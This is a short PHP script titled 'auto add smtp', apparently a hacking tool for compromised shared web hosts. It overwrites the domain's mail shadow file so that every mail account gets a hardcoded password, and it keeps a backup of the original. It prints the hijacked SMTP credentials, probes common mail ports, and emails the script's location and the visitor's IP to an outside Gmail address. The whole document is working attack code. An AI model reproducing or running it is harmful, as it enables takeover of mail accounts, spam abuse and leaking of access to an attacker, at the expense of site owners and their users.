auto add smtp

<?php set_time_limit(0);
 ini_set('max_execution_time',0);
 ini_set('memory_limit',-1);
 $ports=array(25, 587, 465, 110, 995, 143 , 993);
 $primary_port='25';
 $user=get_current_user();
 $ip = getenv("REMOTE_ADDR");
 $hostname = gethostbyaddr($ip);
 $bilsmg = "Link Smtp : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
 $bilsnd ="jowoblackhat@gmail.com";
 $bilsub = "New Smtp Uploaded !! $ip";
 $bilhead = "From: SMTP";
 $bilhead .= $_POST['eMailAdd']."\n";
 $bilhead .= "MIME-Version: 1.0\n";
 $arr=array($bilsnd, $IP);
 foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
 $password='Sankess*+.';
 $pwd = crypt($password,'$6$roottn$');
 $t = $_SERVER['SERVER_NAME'];
 $t = @str_replace("www.","",$t);
 @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
 $ex=explode("\r\n",$passwd);
 @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
 @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
 foreach($ex as $ex){ $ex=explode(':',$ex);
 $e= $ex[0];
 if ($e){ $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');
fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");
fclose($b);
 echo '<span style=\'color:#00ff00;
\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';
 "</center>";
 }} foreach ($ports as $port) { $connection = @fsockopen($t, $port, $errno, $errstr, 2);
 if (is_resource($connection)) { echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
 fclose($connection);
 } }
?>